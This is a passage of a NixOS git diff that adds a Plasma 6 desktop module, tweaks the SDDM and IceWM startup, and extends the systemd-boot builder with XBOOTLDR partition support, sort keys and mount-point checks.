b/nixos/modules/services/x11/desktop-managers/plasma6.nix new file mode 100644 index 0000000000000..1237261e0af7b --- /dev/null +++ b/nixos/modules/services/x11/desktop-managers/plasma6.nix @@ -0,0 +1,291 @@ +{ + config, + lib, + pkgs, + utils, + ... +}: let + xcfg = config.services.xserver; + cfg = xcfg.desktopManager.plasma6; + + inherit (pkgs) kdePackages; + inherit (lib) literalExpression mkDefault mkIf mkOption mkPackageOptionMD types; + + activationScript = '' + # will be rebuilt automatically + rm -fv $HOME/.cache/ksycoca* + ''; +in { + options = { + services.xserver.desktopManager.plasma6 = { + enable = mkOption { + type = types.bool; + default = false; + description = lib.mdDoc "Enable the Plasma 6 (KDE 6) desktop environment."; + }; + + enableQt5Integration = mkOption { + type = types.bool; + default = true; + description = lib.mdDoc "Enable Qt 5 integration (theming, etc). Disable for a pure Qt 6 system."; + }; + + notoPackage = mkPackageOptionMD pkgs "Noto fonts - used for UI by default" { + default = ["noto-fonts"]; + example = "noto-fonts-lgc-plus"; + }; + }; + + environment.plasma6.excludePackages = mkOption { + description = lib.mdDoc "List of default packages to exclude from the configuration"; + type = types.listOf types.package; + default = []; + example = literalExpression "[ pkgs.kdePackages.elisa ]"; + }; + }; + + config = mkIf cfg.enable { + assertions = [ + { + assertion = cfg.enable -> !config.services.xserver.desktopManager.plasma5.enable; + message = "Cannot enable plasma5 and plasma6 at the same time!"; + } + ]; + + qt.enable = true; + environment.systemPackages = with kdePackages; let + requiredPackages = [ + # Hack? To make everything run on Wayland + qtwayland + # Needed to render SVG icons + qtsvg + + # Frameworks with globally loadable bits + frameworkintegration # provides Qt plugin + kauth # provides helper service + kcoreaddons # provides extra mime type info + kded # provides helper service + kfilemetadata # provides Qt plugins + kguiaddons # provides geo URL handlers + kiconthemes # provides Qt plugins + kimageformats # provides Qt plugins + kio # provides helper service + a bunch of other stuff + kpackage # provides kpackagetool tool + kservice # provides kbuildsycoca6 tool + kwallet # provides helper service + kwallet-pam # provides helper service + kwalletmanager # provides KCMs and stuff + plasma-activities # provides plasma-activities-cli tool + solid # provides solid-hardware6 tool + phonon-vlc # provides Phonon plugin + + # Core Plasma parts + kwin + pkgs.xwayland + + kscreen + libkscreen + + kscreenlocker + + kactivitymanagerd + kde-cli-tools + kglobalacceld + kwrited # wall message proxy, not to be confused with kwrite + + milou + polkit-kde-agent-1 + + plasma-desktop + plasma-workspace + + # Crash handler + drkonqi + + # Application integration + libplasma # provides Kirigami platform theme + plasma-integration # provides Qt platform theme + kde-gtk-config + + # Artwork + themes + breeze + breeze-icons + breeze-gtk + ocean-sound-theme + plasma-workspace-wallpapers + pkgs.hicolor-icon-theme # fallback icons + qqc2-breeze-style + qqc2-desktop-style + + # misc Plasma extras + kdeplasma-addons + + pkgs.xdg-user-dirs # recommended upstream + + # Plasma utilities + kmenuedit + + kinfocenter + plasma-systemmonitor + ksystemstats + libksysguard + + spectacle + systemsettings + kcmutils + + # Gear + baloo + dolphin + dolphin-plugins + ffmpegthumbs + kdegraphics-thumbnailers + kde-inotify-survey + kio-admin + kio-extras + kio-fuse + ]; + optionalPackages = [ + plasma-browser-integration + konsole + (lib.getBin qttools) # Expose qdbus in PATH + + ark + elisa + gwenview + okular + kate + khelpcenter + print-manager + ]; + in + requiredPackages + ++ utils.removePackagesByName optionalPackages config.environment.plasma6.excludePackages + ++ lib.optionals config.services.xserver.desktopManager.plasma6.enableQt5Integration [ + breeze.qt5 + plasma-integration.qt5 + pkgs.plasma5Packages.kwayland-integration + kio-extras-kf5 + ] + # Optional hardware support features + ++ lib.optionals config.hardware.bluetooth.enable [bluedevil bluez-qt pkgs.openobex pkgs.obexftp] + ++ lib.optional config.networking.networkmanager.enable plasma-nm + ++ lib.optional config.hardware.pulseaudio.enable plasma-pa + ++ lib.optional config.services.pipewire.pulse.enable plasma-pa + ++ lib.optional config.powerManagement.enable powerdevil + ++ lib.optional config.services.colord.enable colord-kde + ++ lib.optional config.services.hardware.bolt.enable plasma-thunderbolt + ++ lib.optionals config.services.samba.enable [kdenetwork-filesharing pkgs.samba] + ++ lib.optional config.services.xserver.wacom.enable wacomtablet + ++ lib.optional config.services.flatpak.enable flatpak-kcm; + + environment.pathsToLink = [ + # FIXME: modules should link subdirs of `/share` rather than relying on this + "/share" + "/libexec" # for drkonqi + ]; + + environment.etc."X11/xkb".source = xcfg.xkb.dir; + + # Add ~/.config/kdedefaults to XDG_CONFIG_DIRS for shells, since Plasma sets that. + # FIXME: maybe we should append to XDG_CONFIG_DIRS in /etc/set-environment instead? + environment.sessionVariables.XDG_CONFIG_DIRS = ["$HOME/.config/kdedefaults"]; + + # Needed for things that depend on other store.kde.org packages to install correctly, + # notably Plasma look-and-feel packages (a.k.a. Global Themes) + # + # FIXME: this is annoyingly impure and should really be fixed at source level somehow, + # but kpackage is a library so we can't just wrap the one thing invoking it and be done. + # This also means things won't work for people not on Plasma, but at least this way it + # works for SOME people. + environment.sessionVariables.KPACKAGE_DEP_RESOLVERS_PATH = "${kdePackages.frameworkintegration.out}/libexec/kf6/kpackagehandlers"; + + # Enable GTK applications to load SVG icons + services.xserver.gdk-pixbuf.modulePackages = [pkgs.librsvg]; + + fonts.packages = [cfg.notoPackage pkgs.hack-font]; + fonts.fontconfig.defaultFonts = { + monospace = ["Hack" "Noto Sans Mono"]; + sansSerif = ["Noto Sans"]; + serif = ["Noto Serif"]; + }; + + programs.ssh.askPassword = mkDefault "${kdePackages.ksshaskpass.out}/bin/ksshaskpass"; + + # Enable helpful DBus services. + services.accounts-daemon.enable = true; + # when changing an account picture the accounts-daemon reads a temporary file containing the image which systemsettings5 may place under /tmp + systemd.services.accounts-daemon.serviceConfig.PrivateTmp = false; + + services.power-profiles-daemon.enable = mkDefault true; + services.system-config-printer.enable = mkIf config.services.printing.enable (mkDefault true); + services.udisks2.enable = true; + services.upower.enable = config.powerManagement.enable; + services.xserver.libinput.enable = mkDefault true; + + # Extra UDEV rules used by Solid + services.udev.packages = [ + # libmtp has "bin", "dev", "out" outputs. UDEV rules file is in "out". + pkgs.libmtp.out + pkgs.media-player-info + ]; + + # Set up Dr. Konqi as crash handler + systemd.packages = [kdePackages.drkonqi]; + systemd.services."drkonqi-coredump-processor@".wantedBy = ["systemd-coredump@.service"]; + + xdg.portal.enable = true; + xdg.portal.extraPortals = [kdePackages.xdg-desktop-portal-kde]; + xdg.portal.configPackages = mkDefault [kdePackages.xdg-desktop-portal-kde]; + services.pipewire.enable = mkDefault true; + + services.xserver.displayManager = { + sessionPackages = [kdePackages.plasma-workspace]; + defaultSession = mkDefault "plasma"; + }; + services.xserver.displayManager.sddm = { + package = kdePackages.sddm; + theme = mkDefault "breeze"; + extraPackages = with kdePackages; [ + breeze-icons + kirigami + plasma5support + qtsvg + qtvirtualkeyboard + ]; + }; + + security.pam.services = { + login.kwallet = { + enable = true; + package = kdePackages.kwallet-pam; + }; + kde.kwallet = { + enable = true; + package = kdePackages.kwallet-pam; + }; + kde-fingerprint = lib.mkIf config.services.fprintd.enable { fprintAuth = true; }; + kde-smartcard = lib.mkIf config.security.pam.p11.enable { p11Auth = true; }; + }; + + programs.dconf.enable = true; + + programs.firefox.nativeMessagingHosts.packages = [kdePackages.plasma-browser-integration]; + + programs.chromium = { + enablePlasmaBrowserIntegration = true; + plasmaBrowserIntegrationPackage = pkgs.kdePackages.plasma-browser-integration; + }; + + programs.kdeconnect.package = kdePackages.kdeconnect-kde; + + # FIXME: ugly hack. See #292632 for details. + system.userActivationScripts.rebuildSycoca = activationScript; + systemd.user.services.nixos-rebuild-sycoca = { + description = "Rebuild KDE system configuration cache"; + wantedBy = [ "graphical-session-pre.target" ]; + serviceConfig.Type = "oneshot"; + script = activationScript; + }; + }; +} diff --git a/nixos/modules/services/x11/display-managers/sddm.nix b/nixos/modules/services/x11/display-managers/sddm.nix index 0576619cc8d28..5b7f4bc58d80c 100644 --- a/nixos/modules/services/x11/display-managers/sddm.nix +++ b/nixos/modules/services/x11/display-managers/sddm.nix @@ -7,7 +7,10 @@ let cfg = dmcfg.sddm; xEnv = config.systemd.services.display-manager.environment; - sddm = cfg.package; + sddm = cfg.package.override(old: { + withWayland = cfg.wayland.enable; + extraPackages = old.extraPackages or [] ++ cfg.extraPackages; + }); iniFmt = pkgs.formats.ini { }; @@ -140,6 +143,15 @@ in ''; }; + extraPackages = mkOption { + type = types.listOf types.package; + default = []; + defaultText = "[]"; + description = lib.mdDoc '' + Extra Qt plugins / QML libraries to add to the environment. + ''; + }; + autoNumlock = mkOption { type = types.bool; default = false; @@ -211,7 +223,7 @@ in keymap_variant = xcfg.xkb.variant; keymap_options = xcfg.xkb.options; }; - }; in "${pkgs.weston}/bin/weston --shell=fullscreen-shell.so -c ${westonIni}"; + }; in "${pkgs.weston}/bin/weston --shell=kiosk -c ${westonIni}"; description = lib.mdDoc "Command used to start the selected compositor"; }; }; @@ -235,15 +247,7 @@ in } ]; - services.xserver.displayManager.job = { - environment = { - # Load themes from system environment - QT_PLUGIN_PATH = "/run/current-system/sw/" + pkgs.qt5.qtbase.qtPluginPrefix; - QML2_IMPORT_PATH = "/run/current-system/sw/" + pkgs.qt5.qtbase.qtQmlPrefix; - }; - - execCmd = "exec /run/current-system/sw/bin/sddm"; - }; + services.xserver.displayManager.job.execCmd = "exec /run/current-system/sw/bin/sddm"; security.pam.services = { sddm.text = '' diff --git a/nixos/modules/services/x11/window-managers/icewm.nix b/nixos/modules/services/x11/window-managers/icewm.nix index 48741aa41d853..e3cb5cc3be2ba 100644 --- a/nixos/modules/services/x11/window-managers/icewm.nix +++ b/nixos/modules/services/x11/window-managers/icewm.nix @@ -17,7 +17,7 @@ in { name = "icewm"; start = '' - ${pkgs.icewm}/bin/icewm & + ${pkgs.icewm}/bin/icewm-session & waitPID=$! ''; }; diff --git a/nixos/modules/system/boot/kernel.nix b/nixos/modules/system/boot/kernel.nix index a46331ccd431d..b0ac857feb4b8 100644 --- a/nixos/modules/system/boot/kernel.nix +++ b/nixos/modules/system/boot/kernel.nix @@ -81,6 +81,13 @@ in extraStructuredConfig.FOO = lib.kernel.yes; features.foo = true; } + { + name = "foo-ml-mbox"; + patch = (fetchurl { + url = "https://lore.kernel.org/lkml/19700205182810.58382-1-email@domain/t.mbox.gz"; + hash = "sha256-..."; + }); + } ] ''; description = lib.mdDoc '' diff --git a/nixos/modules/system/boot/loader/systemd-boot/systemd-boot-builder.py b/nixos/modules/system/boot/loader/systemd-boot/systemd-boot-builder.py index a9978d7adf803..03bff1dee5b9d 100644 --- a/nixos/modules/system/boot/loader/systemd-boot/systemd-boot-builder.py +++ b/nixos/modules/system/boot/loader/systemd-boot/systemd-boot-builder.py @@ -17,6 +17,9 @@ from dataclasses import dataclass # These values will be replaced with actual values during the package build EFI_SYS_MOUNT_POINT = "@efiSysMountPoint@" +BOOT_MOUNT_POINT = "@bootMountPoint@" +LOADER_CONF = f"{EFI_SYS_MOUNT_POINT}/loader/loader.conf" # Always stored on the ESP +NIXOS_DIR = "@nixosDir@" TIMEOUT = "@timeout@" EDITOR = "@editor@" == "1" CONSOLE_MODE = "@consoleMode@" @@ -28,6 +31,7 @@ CONFIGURATION_LIMIT = int("@configurationLimit@") CAN_TOUCH_EFI_VARIABLES = "@canTouchEfiVariables@" GRACEFUL = "@graceful@" COPY_EXTRA_FILES = "@copyExtraFiles@" +CHECK_MOUNTPOINTS = "@checkMountpoints@" @dataclass class BootSpec: @@ -39,6 +43,7 @@ class BootSpec: system: str toplevel: str specialisations: Dict[str, "BootSpec"] + sortKey: str initrdSecrets: str | None = None @@ -69,6 +74,7 @@ def system_dir(profile: str | None, generation: int, specialisation: str | None) return d BOOT_ENTRY = """title {title} +sort-key {sort_key} version Generation {generation} {description} linux {kernel} initrd {initrd} @@ -87,7 +93,7 @@ def generation_conf_filename(profile: str | None, generation: int, specialisatio def write_loader_conf(profile: str | None, generation: int, specialisation: str | None) -> None: - with open(f"{EFI_SYS_MOUNT_POINT}/loader/loader.conf.tmp", 'w') as f: + with open(f"{LOADER_CONF}.tmp", 'w') as f: if TIMEOUT != "": f.write(f"timeout {TIMEOUT}\n") f.write("default %s\n" % generation_conf_filename(profile, generation, specialisation)) @@ -96,7 +102,7 @@ def write_loader_conf(profile: str | None, generation: int, specialisation: str f.write(f"console-mode {CONSOLE_MODE}\n") f.flush() os.fsync(f.fileno()) - os.rename(f"{EFI_SYS_MOUNT_POINT}/loader/loader.conf.tmp", f"{EFI_SYS_MOUNT_POINT}/loader/loader.conf") + os.rename(f"{LOADER_CONF}.tmp", LOADER_CONF) def get_bootspec(profile: str | None, generation: int) -> BootSpec: @@ -119,16 +125,22 @@ def get_bootspec(profile: str | None, generation: int) -> BootSpec: def bootspec_from_json(bootspec_json: Dict) -> BootSpec: specialisations = bootspec_json['org.nixos.specialisation.v1'] specialisations = {k: bootspec_from_json(v) for k, v in specialisations.items()} - return BootSpec(**bootspec_json['org.nixos.bootspec.v1'], specialisations=specialisations) + systemdBootExtension = bootspec_json.get('org.nixos.systemd-boot', {}) + sortKey = systemdBootExtension.get('sortKey', 'nixos') + return BootSpec( + **bootspec_json['org.nixos.bootspec.v1'], + specialisations=specialisations, + sortKey=sortKey + ) def copy_from_file(file: str, dry_run: bool = False) -> str: store_file_path = os.path.realpath(file) suffix = os.path.basename(store_file_path) store_dir = os.path.basename(os.path.dirname(store_file_path)) - efi_file_path = "/efi/nixos/%s-%s.efi" % (store_dir, suffix) + efi_file_path = f"{NIXOS_DIR}/{store_dir}-{suffix}.efi" if not dry_run: - copy_if_not_exists(store_file_path, f"{EFI_SYS_MOUNT_POINT}%s" % (efi_file_path)) + copy_if_not_exists(store_file_path, f"{BOOT_MOUNT_POINT}{efi_file_path}") return efi_file_path def write_entry(profile: str | None, generation: int, specialisation: str | None, @@ -145,7 +157,7 @@ def write_entry(profile: str | None, generation: int, specialisation: str | None try: if bootspec.initrdSecrets is not None: - subprocess.check_call([bootspec.initrdSecrets, f"{EFI_SYS_MOUNT_POINT}%s" % (initrd)]) + subprocess.check_call([bootspec.initrdSecrets, f"{BOOT_MOUNT_POINT}%s" % (initrd)]) except subprocess.CalledProcessError: if current: print("failed to create initrd secrets!", file=sys.stderr) @@ -155,7 +167,7 @@ def write_entry(profile: str | None, generation: int, specialisation: str | None f'for "{title} - Configuration {generation}", an older generation', file=sys.stderr) print("note: this is normal after having removed " "or renamed a file in `boot.initrd.secrets`", file=sys.stderr) - entry_file = f"{EFI_SYS_MOUNT_POINT}/loader/entries/%s" % ( + entry_file = f"{BOOT_MOUNT_POINT}/loader/entries/%s" % ( generation_conf_filename(profile, generation, specialisation)) tmp_path = "%s.tmp" % (entry_file) kernel_params = "init=%s " % bootspec.init @@ -166,6 +178,7 @@ def write_entry(profile: str | None, generation: int, specialisation: str | None with open(tmp_path, 'w') as f: f.write(BOOT_ENTRY.format(title=title, + sort_key=bootspec.sortKey, generation=generation, kernel=kernel, initrd=initrd, @@ -202,14 +215,14 @@ def get_generations(profile: str | None = None) -> list[SystemIdentifier]: def remove_old_entries(gens: list[SystemIdentifier]) -> None: - rex_profile = re.compile(r"^" + re.escape(EFI_SYS_MOUNT_POINT) + "/loader/entries/nixos-(.*)-generation-.*\.conf$") - rex_generation = re.compile(r"^" + re.escape(EFI_SYS_MOUNT_POINT) + "/loader/entries/nixos.*-generation-([0-9]+)(-specialisation-.*)?\.conf$") + rex_profile = re.compile(r"^" + re.escape(BOOT_MOUNT_POINT) + "/loader/entries/nixos-(.*)-generation-.*\.conf$") + rex_generation = re.compile(r"^" + re.escape(BOOT_MOUNT_POINT) + "/loader/entries/nixos.*-generation-([0-9]+)(-specialisation-.*)?\.conf$") known_paths = [] for gen in gens: bootspec = get_bootspec(gen.profile, gen.generation) known_paths.append(copy_from_file(bootspec.kernel, True)) known_paths.append(copy_from_file(bootspec.initrd, True)) - for path in glob.iglob(f"{EFI_SYS_MOUNT_POINT}/loader/entries/nixos*-generation-[1-9]*.conf"): + for path in glob.iglob(f"{BOOT_MOUNT_POINT}/loader/entries/nixos*-generation-[1-9]*.conf"): if rex_profile.match(path): prof = rex_profile.sub(r"\1", path) else: @@ -220,11 +233,18 @@ def remove_old_entries(gens: list[SystemIdentifier]) -> None: continue if not (prof, gen_number, None) in gens: os.unlink(path) - for path in glob.iglob(f"{EFI_SYS_MOUNT_POINT}/efi/nixos/*"): + for path in glob.iglob(f"{BOOT_MOUNT_POINT}/{NIXOS_DIR}/*"): if not path in known_paths and not os.path.isdir(path): os.unlink(path) +def cleanup_esp() -> None: + for path in glob.iglob(f"{EFI_SYS_MOUNT_POINT}/loader/entries/nixos*"): + os.unlink(path) + if os.path.isdir(f"{EFI_SYS_MOUNT_POINT}/{NIXOS_DIR}"): + shutil.rmtree(f"{EFI_SYS_MOUNT_POINT}/{NIXOS_DIR}") + + def get_profiles() -> list[str]: if os.path.isdir("/nix/var/nix/profiles/system-profiles/"): return [x @@ -255,6 +275,9 @@ def install_bootloader(args: argparse.Namespace) -> None: # flags to pass to bootctl install/update bootctl_flags = [] + if BOOT_MOUNT_POINT != EFI_SYS_MOUNT_POINT: + bootctl_flags.append(f"--boot-path={BOOT_MOUNT_POINT}") + if CAN_TOUCH_EFI_VARIABLES != "1": bootctl_flags.append("--no-variables") @@ -263,8 +286,8 @@ def install_bootloader(args: argparse.Namespace) -> None: if os.getenv("NIXOS_INSTALL_BOOTLOADER") == "1": # bootctl uses fopen() with modes "wxe" and fails if the file exists. - if os.path.exists(f"{EFI_SYS_MOUNT_POINT}/loader/loader.conf"): - os.unlink(f"{EFI_SYS_MOUNT_POINT}/loader/loader.conf") + if os.path.exists(LOADER_CONF): + os.unlink(LOADER_CONF) subprocess.check_call([f"{SYSTEMD}/bin/bootctl", f"--esp-path={EFI_SYS_MOUNT_POINT}"] + bootctl_flags + ["install"]) else: @@ -291,13 +314,15 @@ def install_bootloader(args: argparse.Namespace) -> None: print("updating systemd-boot from %s to %s" % (installed_version, available_version)) subprocess.check_call([f"{SYSTEMD}/bin/bootctl", f"--esp-path={EFI_SYS_MOUNT_POINT}"] + bootctl_flags + ["update"]) - os.makedirs(f"{EFI_SYS_MOUNT_POINT}/efi/nixos", exist_ok=True) - os.makedirs(f"{EFI_SYS_MOUNT_POINT}/loader/entries", exist_ok=True) + os.makedirs(f"{BOOT_MOUNT_POINT}/{NIXOS_DIR}", exist_ok=True) + os.makedirs(f"{BOOT_MOUNT_POINT}/loader/entries", exist_ok=True) gens = get_generations() for profile in get_profiles(): gens += get_generations(profile) + remove_old_entries(gens) + for gen in gens: try: bootspec = get_bootspec(gen.profile, gen.generation) @@ -315,9 +340,15 @@ def install_bootloader(args: argparse.Namespace) -> None: else: raise e - for root, _, files in os.walk(f"{EFI_SYS_MOUNT_POINT}/efi/nixos/.extra-files", topdown=False): - relative_root = root.removeprefix(f"{EFI_SYS_MOUNT_POINT}/efi/nixos/.extra-files").removeprefix("/") - actual_root = os.path.join(f"{EFI_SYS_MOUNT_POINT}", relative_root) + if BOOT_MOUNT_POINT != EFI_SYS_MOUNT_POINT: + # Cleanup any entries in ESP if xbootldrMountPoint is set. + # If the user later unsets xbootldrMountPoint, entries in XBOOTLDR will not be cleaned up + # automatically, as we don't have information about the mount point anymore. + cleanup_esp() + + for root, _, files in os.walk(f"{BOOT_MOUNT_POINT}/{NIXOS_DIR}/.extra-files", topdown=False): + relative_root = root.removeprefix(f"{BOOT_MOUNT_POINT}/{NIXOS_DIR}/.extra-files").removeprefix("/") + actual_root = os.path.join(f"{BOOT_MOUNT_POINT}", relative_root) for file in files: actual_file = os.path.join(actual_root, file) @@ -330,7 +361,7 @@ def install_bootloader(args: argparse.Namespace) -> None: os.rmdir(actual_root) os.rmdir(root) - os.makedirs(f"{EFI_SYS_MOUNT_POINT}/efi/nixos/.extra-files", exist_ok=True) + os.makedirs(f"{BOOT_MOUNT_POINT}/{NIXOS_DIR}/.extra-files", exist_ok=True) subprocess.check_call(COPY_EXTRA_FILES) @@ -340,6 +371,8 @@ def main() -> None: parser.add_argument('default_config', metavar='DEFAULT-CONFIG', help=f"The default {DISTRO_NAME} config to boot") args = parser.parse_args() + subprocess.check_call(CHECK_MOUNTPOINTS) + try: install_bootloader(args) finally: @@ -347,9 +380,14 @@ def main() -> None: # it can leave the system in an unbootable state, when a crash/outage # happens shortly after an update. To decrease the likelihood of this # event sync the efi filesystem after each update. - rc = libc.syncfs(os.open(f"{EFI_SYS_MOUNT_POINT}", os.O_RDONLY)) + rc = libc.syncfs(os.open(f"{BOOT_MOUNT_POINT}", os.O_RDONLY)) if rc != 0: - print(f"could not sync {EFI_SYS_MOUNT_POINT}: {os.strerror(rc)}", file=sys.stderr) + print(f"could not sync {BOOT_MOUNT_POINT}: {os.strerror(rc)}", file=sys.stderr) + + if BOOT_MOUNT_POINT != EFI_SYS_MOUNT_POINT: + rc = libc.syncfs(os.open(EFI_SYS_MOUNT_POINT, os.O_RDONLY)) + if rc != 0: + print(f"could not sync {EFI_SYS_MOUNT_POINT}: {os.strerror(rc)}", file=sys.stderr) if __name__ == '__main__': diff --git a/nixos/modules/system/boot/loader/systemd-boot/systemd-boot.nix b/nixos/modules/system/boot/loader/systemd-boot/systemd-boot.nix index ea4553b8208f6..ba07506266e26 100644 --- a/nixos/modules/system/boot/loader/systemd-boot/systemd-boot.nix +++ b/nixos/modules/system/boot/loader/systemd-boot/systemd-boot.nix @@ -7,7 +7,7 @@ let efi = config.boot.loader.efi; - systemdBootBuilder = pkgs.substituteAll { + systemdBootBuilder = pkgs.substituteAll rec { src = ./systemd-boot-builder.py; isExecutable = true; @@ -28,33 +28,48 @@ let inherit (efi) efiSysMountPoint canTouchEfiVariables; + bootMountPoint = if cfg.xbootldrMountPoint != null + then cfg.xbootldrMountPoint + else efi.efiSysMountPoint; + + nixosDir = "/EFI/nixos"; + inherit (config.system.nixos) distroName; memtest86 = optionalString cfg.memtest86.enable pkgs.memtest86plus; netbootxyz = optionalString cfg.netbootxyz.enable pkgs.netbootxyz-efi; + checkMountpoints = pkgs.writeShellScript "check-mountpoints" '' + fail() { + echo "$1 = '$2' is not a mounted partition. Is the path configured correctly?" >&2 + exit 1 + } + ${pkgs.util-linuxMinimal}/bin/findmnt ${efiSysMountPoint} > /dev/null || fail efiSysMountPoint ${efiSysMountPoint} + ${lib.optionalString + (cfg.xbootldrMountPoint != null) + "${pkgs.util-linuxMinimal}/bin/findmnt ${cfg.xbootldrMountPoint} > /dev/null || fail xbootldrMountPoint ${cfg.xbootldrMountPoint}"} + ''; + copyExtraFiles = pkgs.writeShellScript "copy-extra-files" '' empty_file=$(${pkgs.coreutils}/bin/mktemp) ${concatStrings (mapAttrsToList (n: v: '' - ${pkgs.coreutils}/bin/install -Dp "${v}" "${efi.efiSysMountPoint}/"${escapeShellArg n} - ${pkgs.coreutils}/bin/install -D $empty_file "${efi.efiSysMountPoint}/efi/nixos/.extra-files/"${escapeShellArg n} + ${pkgs.coreutils}/bin/install -Dp "${v}" "${bootMountPoint}/"${escapeShellArg n} + ${pkgs.coreutils}/bin/install -D $empty_file "${bootMountPoint}/${nixosDir}/.extra-files/"${escapeShellArg n} '') cfg.extraFiles)} ${concatStrings (mapAttrsToList (n: v: '' - ${pkgs.coreutils}/bin/install -Dp "${pkgs.writeText n v}" "${efi.efiSysMountPoint}/loader/entries/"${escapeShellArg n} - ${pkgs.coreutils}/bin/install -D $empty_file "${efi.efiSysMountPoint}/efi/nixos/.extra-files/loader/entries/"${escapeShellArg n} + ${pkgs.coreutils}/bin/install -Dp "${pkgs.writeText n v}" "${bootMountPoint}/loader/entries/"${escapeShellArg n} + ${pkgs.coreutils}/bin/install -D $empty_file "${bootMountPoint}/${nixosDir}/.extra-files/loader/entries/"${escapeShellArg n} '') cfg.extraEntries)} ''; }; - checkedSystemdBootBuilder = pkgs.runCommand "systemd-boot" { - nativeBuildInputs = [ pkgs.mypy ]; - } '' + checkedSystemdBootBuilder = pkgs.runCommand "systemd-boot" { } '' mkdir -p $out/bin install -m755 ${systemdBootBuilder} $out/bin/systemd-boot-builder - mypy \ + ${lib.getExe pkgs.buildPackages.mypy} \ --no-implicit-optional \ --disallow-untyped-calls \ --disallow-untyped-defs \ @@ -72,6 +87,16 @@ in { imports = [ (mkRenamedOptionModule [ "boot" "loader" "gummiboot" "enable" ] [ "boot" "loader" "systemd-boot" "enable" ]) + (lib.mkChangedOptionModule + [ "boot" "loader" "systemd-boot" "memtest86" "entryFilename" ] + [ "boot" "loader" "systemd-boot" "memtest86" "sortKey" ] + (config: lib.strings.removeSuffix ".conf" config.boot.loader.systemd-boot.memtest86.entryFilename) + ) + (lib.mkChangedOptionModule + [ "boot" "loader" "systemd-boot" "netbootxyz" "entryFilename" ] + [ "boot" "loader" "systemd-boot" "netbootxyz" "sortKey" ] + (config: lib.strings.removeSuffix ".conf" config.boot.loader.systemd-boot.netbootxyz.entryFilename) + ) ]; options.boot.loader.systemd-boot = { @@ -87,6 +112,35 @@ in { ''; }; + sortKey = mkOption { + default = "nixos"; + type = lib.types.str; + description = '' + The sort key used for the NixOS bootloader entries. + This key determines sorting relative to non-NixOS entries. + See also https://uapi-group.org/specifications/specs/boot_loader_specification/#sorting + + This option can also be used to control the sorting of NixOS specialisations. + + By default, specialisations inherit the sort key of their parent generation + and will have the same value for both the sort-key and the version (i.e. the generation number), + systemd-boot will therefore sort them based on their file name, meaning that + in your boot menu you will have each main generation directly followed by + its specialisations sorted alphabetically by their names. + + If you want a different ordering for a specialisation, you can override + its sort-key which will cause the specialisation to be uncoupled from its + parent generation. It will then be sorted by its new sort-key just like + any other boot entry. + + The sort-key is stored in the generation's bootspec, which means that + generations keep their sort-keys even if the original definition of the + generation was removed from the NixOS configuration. + It also means that updating the sort-key will only affect new generations, + while old ones will keep the sort-key that they were originally built with. + ''; + }; + editor = mkOption { default = true; @@ -101,6 +155,18 @@ in { ''; }; + xbootldrMountPoint = mkOption { + default = null; + type = types.nullOr types.str; + description = lib.mdDoc '' + Where the XBOOTLDR partition is mounted. + + If set, this partition will be used as $BOOT to store boot loader entries and extra files + instead of the EFI partition. As per the bootloader specification, it is recommended that + the EFI and XBOOTLDR partitions be mounted at `/efi` and `/boot`, respectively. + ''; + }; + configurationLimit = mkOption { default = null; example = 120; @@ -110,7 +176,7 @@ in { Useful to prevent boot partition running out of disk space. `null` means no limit i.e. all generations - that were not garbage collected yet. + that have not been garbage collected yet. ''; }; @@ -157,13 +223,15 @@ in { ''; }; - entryFilename = mkOption { - default = "memtest86.conf"; + sortKey = mkOption { + default = "o_memtest86"; type = types.str; description = lib.mdDoc '' - `systemd-boot` orders the menu entries by the config file names, + `systemd-boot` orders the menu entries by their sort keys, so if you want something to appear after all the NixOS entries, it should start with {file}`o` or onwards. + + See also {option}`boot.loader.systemd-boot.sortKey`. ''; }; }; @@ -180,13 +248,15 @@ in { ''; }; - entryFilename = mkOption { - default = "o_netbootxyz.conf"; + sortKey = mkOption { + default = "o_netbootxyz"; type = types.str; description = lib.mdDoc '' - `systemd-boot` orders the menu entries by the config file names, + `systemd-boot` orders the menu entries by their sort keys, so if you want something to appear after all the NixOS entries, it should start with {file}`o` or onwards. + + See also {option}`boot.loader.systemd-boot.sortKey`. ''; }; }; @@ -198,17 +268,19 @@ in { { "memtest86.conf" = ''' title Memtest86+ efi /efi/memtest86/memtest.efi + sort-key z_memtest '''; } ''; description = lib.mdDoc '' Any additional entries you want added to the `systemd-boot` menu. - These entries will be copied to {file}`/boot/loader/entries`. + These entries will be copied to {file}`$BOOT/loader/entries`. Each attribute name denotes the destination file name, and the corresponding attribute value is the contents of the entry. - `systemd-boot` orders the menu entries by the config file names, - so if you want something to appear after all the NixOS entries, - it should start with {file}`o` or onwards. + To control the ordering of the entry in the boot menu, use the sort-key + field, see + https://uapi-group.org/specifications/specs/boot_loader_specification/#sorting + and {option}`boot.loader.systemd-boot.sortKey`. ''; }; @@ -219,9 +291,9 @@ in { { "efi/memtest86/memtest.efi" = "''${pkgs.memtest86plus}/memtest.efi"; } ''; description = lib.mdDoc '' - A set of files to be copied to {file}`/boot`. + A set of files to be copied to {file}`$BOOT`. Each attribute name denotes the destination file name in - {file}`/boot`, while the corresponding + {file}`$BOOT`, while the corresponding attribute value specifies the source file. ''; }; @@ -246,6 +318,18 @@ in { config = mkIf cfg.enable { assertions = [ { + assertion = (hasPrefix "/" efi.efiSysMountPoint); + message = "The ESP mount point '${efi.efiSysMountPoint}' must be an absolute path"; + } + { + assertion = cfg.xbootldrMountPoint == null || (hasPrefix "/" cfg.xbootldrMountPoint); + message = "The XBOOTLDR mount point '${cfg.xbootldrMountPoint}' must be an absolute path"; + } + { + assertion = cfg.xbootldrMountPoint != efi.efiSysMountPoint; + message = "The XBOOTLDR mount point '${cfg.xbootldrMountPoint}' cannot be the same as the ESP mount point '${efi.efiSysMountPoint}'"; + } + { assertion = (config.boot.kernelPackages.kernel.features or { efiBootStub = true; }) ? efiBootStub; message = "This kernel does not support the EFI boot stub"; } @@ -289,19 +373,25 @@ in { boot.loader.systemd-boot.extraEntries = mkMerge [ (mkIf cfg.memtest86.enable { - "${cfg.memtest86.entryFilename}" = '' + "memtest86.conf" = '' title Memtest86+ efi /efi/memtest86/memtest.efi + sort-key ${cfg.memtest86.sortKey} ''; }) (mkIf cfg.netbootxyz.enable { - "${cfg.netbootxyz.entryFilename}" = '' + "netbootxyz.conf" = '' title netboot.xyz efi /efi/netbootxyz/netboot.xyz.efi + sort-key ${cfg.netbootxyz.sortKey} ''; }) ]; + boot.bootspec.extensions."org.nixos.systemd-boot" = { + inherit (config.boot.loader.systemd-boot) sortKey; + }; + system = { build.installBootLoader = finalSystemdBootBuilder; diff --git a/nixos/modules/system/boot/networkd.nix 